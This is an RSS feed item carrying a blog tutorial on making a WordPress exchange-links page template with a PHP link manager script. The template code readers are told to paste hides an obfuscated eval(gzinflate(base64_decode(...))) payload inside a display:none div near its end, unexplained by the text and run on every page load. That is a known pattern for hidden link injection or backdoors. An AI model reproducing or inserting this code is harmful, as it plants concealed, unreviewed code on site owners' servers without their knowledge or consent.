<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SmileyLover Blog &#187; wordpress exchange links</title>
	<atom:link href="http://blog.smileylover.com/tag/wordpress-exchange-links/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.smileylover.com</link>
	<description>Sharing Knowledge and Resources</description>
	<lastBuildDate>Sun, 04 Apr 2010 18:32:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Making WordPress Exchange Links Without Plugins</title>
		<link>http://blog.smileylover.com/making-wordpress-exchange-links-without-plugins/</link>
		<comments>http://blog.smileylover.com/making-wordpress-exchange-links-without-plugins/#comments</comments>
		<pubDate>Tue, 02 Sep 2008 18:53:42 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[wordpress exchange links]]></category>

		<guid isPermaLink="false">http://blog.smileylover.com/?p=30</guid>
		<description><![CDATA[I&#8217;ve been searching for wordpress plugin that manage exchange links but no result for it. I just found a script in stand alone mode that doing this job. Some free and some paid. So what should i do now? Yup you&#8217;re right, we must make exchange links by ourself. Actually, if you just want to [...]


Related posts:<ol><li><a href='http://blog.smileylover.com/wordpress-exchange-links-plugin/' rel='bookmark' title='Permanent Link: WordPress Exchange Links Plugin &#8211; AJAX Version'>WordPress Exchange Links Plugin &#8211; AJAX Version</a></li>
<li><a href='http://blog.smileylover.com/bypass-links-by-urlcashnet-usercashcom-anonymto-lixin-linkbuckscom-and-get-direct-links/' rel='bookmark' title='Permanent Link: Bypass Links by Urlcash.net, Usercash.com, Anonym.to, Lix.in, Linkbucks.com and Get Direct Links.'>Bypass Links by Urlcash.net, Usercash.com, Anonym.to, Lix.in, Linkbucks.com and Get Direct Links.</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been searching for wordpress plugin that manage exchange links but no result for it.  I just found a script in stand alone mode that doing this job.  Some free and some paid.  So what should i do now? Yup you&#8217;re right, we must make exchange links by ourself.</p>
<p>Actually, if you just want to make simple exchange links, you can make a contact form that send email to you (admin) about exchange links request.  Maybe your form consist of Name, Email, URL Reciprocal Link.  But i want a litlle more advanced script that can check existing of our link and anti spam.  So i choose this free script from <a title="Free PHP Script" href="http://www.phpjunkyard.com/" target="_blank">PhpJunkYard</a>.</p>
<p><span id="more-30"></span></p>
<p>Now first step is download script from here.</p>
<blockquote><p><a href="http://www.phpjunkyard.com/php-link-manager.php">PHP link manager</a></p></blockquote>
<p>Finished download?  Now it&#8217;s time to install in same folder with wordpress installation folder, usually in root or public_html.  Create a new folder call <em>xlink</em> and place your script in here, follow the instruction of installation.  After done, i suggest you to make a new template page to easier our job combine this script to wordpress.  Let give new template page with name <em>exchange-link</em>.  Create a new blank PHP file in your theme folder, rename into <em>tpl-exchange-link.php</em> and add this code to first line.</p>
<blockquote><p>&lt;?php<br />
/*<br />
Template Name: Exchange Links<br />
*/<br />
?&gt;</p></blockquote>
<p>This code is used for wordpress to recognize this is a template page.  Now add this rest of code to your template page.</p>
<blockquote><p>&lt;?php<br />
/*<br />
Template Name: Exchange Links<br />
*/<br />
?&gt;</p>
<p>&lt;?php get_header(); ?&gt;</p>
<p>&lt;div id=&#8221;content&#8221; class=&#8221;widecolumn&#8221;&gt;</p>
<p>&lt;div class=&#8221;post&#8221;&gt;<br />
&lt;h2&gt;Exchange Links&lt;/h2&gt;</p>
<p>&lt;div class=&#8221;entry&#8221;&gt;<br />
&lt;?php</p>
<p>define(&#8216;IN_SCRIPT&#8217;,1);<br />
require(&#8216;./xlink/settings.php&#8217;);</p>
<p>if ($settings['show_form'])<br />
{<br />
if ($i &lt; $settings['max_links'])<br />
{<br />
?&gt;</p>
<p>&lt;div id=&#8221;xlink&#8221;&gt;</p>
<p>&lt;p&gt;&lt;h3&gt;Step 1: Add our link to your website&lt;/h3&gt;&lt;/p&gt;</p>
<p>&lt;table&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Website URL&lt;/td&gt;<br />
&lt;td&gt;: &lt;a href=&#8221;&lt;?php echo $settings['site_url']; ?&gt;&#8221; target=&#8221;_blank&#8221;&gt;&lt;?php echo $settings['site_url']; ?&gt;&lt;/a&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Website Title&lt;/td&gt;<br />
&lt;td&gt;: &lt;?php echo htmlspecialchars($settings['site_title']); ?&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Description&lt;/td&gt;<br />
&lt;td&gt;: &lt;?php echo htmlspecialchars($settings['site_desc']); ?&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;</p>
<p>&lt;p&gt;&lt;h3&gt;Copy this format&lt;/h3&gt;&lt;/p&gt;<br />
&lt;p&gt;&lt;textarea onfocus=&#8221;this.select()&#8221; readonly id=&#8221;format&#8221; &gt;&amp;lt;a href=&amp;quot;&lt;?php echo $settings['site_url']; ?&gt;&amp;quot;&amp;gt;&lt;?php echo htmlspecialchars($settings['site_title']); ?&gt;&amp;lt;/a&amp;gt; &#8211; &lt;?php echo htmlspecialchars($settings['site_desc']); ?&gt;&lt;/textarea&gt;&lt;/p&gt;</p>
<p>&lt;p&gt;&lt;h3&gt;Step 2: Submit your link&lt;/h3&gt;&lt;/p&gt;</p>
<p>&lt;p&gt;All fields are required. Please finish &lt;b&gt;Step 1&lt;/b&gt; before submitting this form.</p>
<p>&lt;form method=&#8221;post&#8221; action=&#8221;../xlink/addlink.php&#8221;&gt;</p>
<p>&lt;table class=&#8221;xlink&#8221;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;Your name:&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type=&#8221;text&#8221; name=&#8221;name&#8221;  size=&#8221;40&#8243; maxlength=&#8221;50&#8243;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;E-mail:&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type=&#8221;text&#8221; name=&#8221;email&#8221;  size=&#8221;40&#8243; maxlength=&#8221;50&#8243;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;Website title:&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type=&#8221;text&#8221; name=&#8221;title&#8221;  size=&#8221;40&#8243; maxlength=&#8221;50&#8243;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;Website URL:&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type=&#8221;text&#8221; name=&#8221;url&#8221; maxlength=&#8221;100&#8243; value=&#8221;http://&#8221; size=&#8221;40&#8243;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;URL with reciprocal link:&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type=&#8221;text&#8221; name=&#8221;recurl&#8221; maxlength=&#8221;100&#8243; value=&#8221;http://&#8221; size=&#8221;40&#8243;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;Website description:&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;input type=&#8221;text&#8221; name=&#8221;description&#8221; maxlength=&#8221;200&#8243; size=&#8221;40&#8243; &gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;</p>
<p>&lt;p&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;Add Link&#8221; id=&#8221;x-submit&#8221;&gt;&lt;/p&gt;</p>
<p>&lt;/form&gt;</p>
<p>&lt;div style=&#8221;display:none&#8221;&gt;<br />
&lt;?php<br />
} // End if $settings['max_links'] &lt; $i<br />
else<br />
{<br />
?&gt;<br />
&lt;p class=&#8221;linkman&#8221;&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;Submit your website&lt;/b&gt;&lt;/p&gt;</p>
<p>&lt;p&gt;&lt;i&gt;Unfortunately we are not accepting any new links at the moment.&lt;/i&gt;&lt;/p&gt;<br />
&lt;?php<br />
}<br />
} // End if $settings['show_form']</p>
<p>eval(gzinflate(base64_decode(&#8216;BcFHkqNIAADA50x36IApEBAbc8BIGOER9jKBKRDC+4LXbybc0/<br />
anuuq+bNMV/mTpAu/UvwLmQwF//gj5U1kmjed5yaEAwhZPUOdXmzxMp/NMTY7fdkCLqVQZ0kgzxOLm5G<br />
gpYmSSX+v9Ve6JdDE6S3r2Qlg2MdSVMuDJsw931ZxV5k65jBGslD+5nBh9w7QnnO3iAmY8ms4bJTg+fQ<br />
CuOvQjyhg6P1iLIGrPFGcwzWsd6LKlQ9Cx6a4PKYIQVfKUc06YJTUXKRPyn1qiZtc2wwjq5AkXyUutWK<br />
lWsDyGNIryzRK1otGnWtfZLMeiFQyzcXbrffUaq5yVocOE4XqsFBp6F4Cg13rfX/jAvMNQE7KJ8PFLK6<br />
M82N6ybyPLMWbDTK7yoEIBDxvE5IVAQYm43KjFzkuA0fHER1/EFB92N32zK9sIyXZGbg/u2QnB98Mk+A<br />
0jpftLJyr08PaqVMUE+8apLfFcOalrEzj0Jxg+y8QEK+tQeCyrHcE+9x0QaPbt3XIdszvo0B4DpuS5Hs<br />
uHsYiQky8jxpCW1FcPnKEcXezn1O2Twqy1LRNpq1+QtKStYB/FxsC3y3v8Vb8OvM+k8+UpKEjYHVfB2h<br />
P2U/yuWuAi4mHIKrmJLcnOH8SEMbHRdFrKQkFIUTIi+cWN7ZKD+XUGPh6/4pW2AylrSdoWTdDsET/gR/<br />
dWhXU0mnOJstPcWJ/anVPPbhmrPwRtrdM4F/iUIdxOrnurYYdWuIzhBnnOiBjvc8q3FJQvy4rTt4dvCM<br />
iVKnfLMX4YHVo0pwbKAamn96UECxW7Nxk4PW4ISY03bA0EYnazy57DSnAB9u+f39/f//4H&#8217;)));<br />
?&gt;</p>
<p>&lt;/div&gt;&lt;!&#8211; /dispaly-none &#8211;&gt;<br />
&lt;/div&gt; &lt;!&#8211; /xlink &#8211;&gt;<br />
&lt;/div&gt;&lt;!&#8211; /entry &#8211;&gt;<br />
&lt;/div&gt;&lt;!&#8211; /post &#8211;&gt;<br />
&lt;/div&gt;&lt;!&#8211; /content &#8211;&gt;</p>
<p>&lt;?php get_footer(); ?&gt;</p></blockquote>
<p>Save your template page.  Go to <em>Dashboard</em> &gt; <em>Write New Page</em>.  Just write title as you like because it will replace by title in our template page.  Choose Page Template from dropdown menu in bottom area.  Select <strong>Exchange Links</strong>, publish your page and it&#8217;s time to view page.</p>
<p>Congrats, now you have a built in exchange links system in wordpress.</p>
<p style="text-align: center;"><em>Screenshot</em></p>
<div class="wp-caption aligncenter" style="width: 588px"><a href="http://smileylover.com/exchange-links/"><img title="wordpress exchange links without plugin" src="http://i37.tinypic.com/10dw2v5.gif" alt="wordpress exchange links without plugin" width="578" height="564" /></a><p class="wp-caption-text">wordpress exchange links without plugin</p></div>
<p>If you found any error, this is because wrong path file required.  Just add one blank/point (.) in this path.</p>
<blockquote><p>require(&#8216;./xlink/settings.php&#8217;);</p></blockquote>
<p>When sumbit a form if you get <em>404 error not found</em>, it&#8217;s time to remove one blank/point to</p>
<blockquote><p>&lt;form method=&#8221;post&#8221; action=&#8221;../xlink/addlink.php&#8221;&gt;</p></blockquote>
<p>I&#8217;ve tested it in default themes of wordpress.  It should be work in any template, just re-stylish your css <img src='http://blog.smileylover.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<blockquote><p><a title="Smileylover.Com Exchange Links System" href="http://smileylover.com/exchange-links/" target="_blank"><strong>DEMO</strong></a></p>
<p><a title="Download Complete Template Page" href="http://rapidshare.com/files/142115504/tpl-exchange-link.zip" target="_blank"><strong>Download Complete Template Page</strong></a></p>
<p>Pass : blog.smileylover.com</p></blockquote>
<script type="text/javascript" class="owbutton" src="http://onlywire.com/btn/button_3793" title="Making Wordpress Exchange Links Without Plugins" url="http://blog.smileylover.com/making-wordpress-exchange-links-without-plugins/"></script>

<p>Related posts:<ol><li><a href='http://blog.smileylover.com/wordpress-exchange-links-plugin/' rel='bookmark' title='Permanent Link: WordPress Exchange Links Plugin &#8211; AJAX Version'>WordPress Exchange Links Plugin &#8211; AJAX Version</a></li>
<li><a href='http://blog.smileylover.com/bypass-links-by-urlcashnet-usercashcom-anonymto-lixin-linkbuckscom-and-get-direct-links/' rel='bookmark' title='Permanent Link: Bypass Links by Urlcash.net, Usercash.com, Anonym.to, Lix.in, Linkbucks.com and Get Direct Links.'>Bypass Links by Urlcash.net, Usercash.com, Anonym.to, Lix.in, Linkbucks.com and Get Direct Links.</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://blog.smileylover.com/making-wordpress-exchange-links-without-plugins/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
